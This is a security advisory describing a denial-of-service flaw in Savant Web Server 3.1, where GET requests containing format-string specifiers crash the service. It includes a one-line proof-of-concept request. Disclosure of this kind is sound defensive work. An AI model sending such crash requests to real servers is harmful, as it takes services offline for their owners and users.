Skip to content

Savant Web Server - Multiple Vulnerabilities

Description

"Savant is a full-featured open source / freeware web server designed to be run under any 32-bit version of Microsoft Windows (including Windows 95, 98, ME, XP, NT, and 2000). Savant was designed to be easy to use, fast, and secure."

More information at http://savant.sourceforge.net

Summary

Product
Savant Web Server
Vendor
Open source
Affected Versions
Savant Web Server 3.1
Severity
Identifier
N/A
Tested Platform
Windows 2000 Professional

Impact

Denial of service.

Detail

[Vulnerability #1] DoS with malformed GET requests

By sending a GET request with format string specifier character, such as /%x, /%f, /%I, and /%n to Savant Web Server, the service will crash with a dialog box popped up saying "invalid memory reference". Examining the Savant general log files reveals the file index.html keeps redirecting to itself, hence causing an infinite loop until the http service could not handle the request and crashed.

GET /%x/index.htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.htmlindex. htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.html

Proof of Concept

GET /%x/index.htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.htmlindex. htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.html

Vendor Status

This same vulnerability report had also been sent to the vendor but I wasn't able to receive any acknowledgement from the vendor for a long time. So my best suggestion to Savant's users is to either disable Savant on your computer and wait for a newer release or just simply switch to another stable and secure web server.

Disclosure Timeline

Date
Summary
N/A

Credit

Phuong Nguyen (ECQ)

Appendix

N/A

References

N/A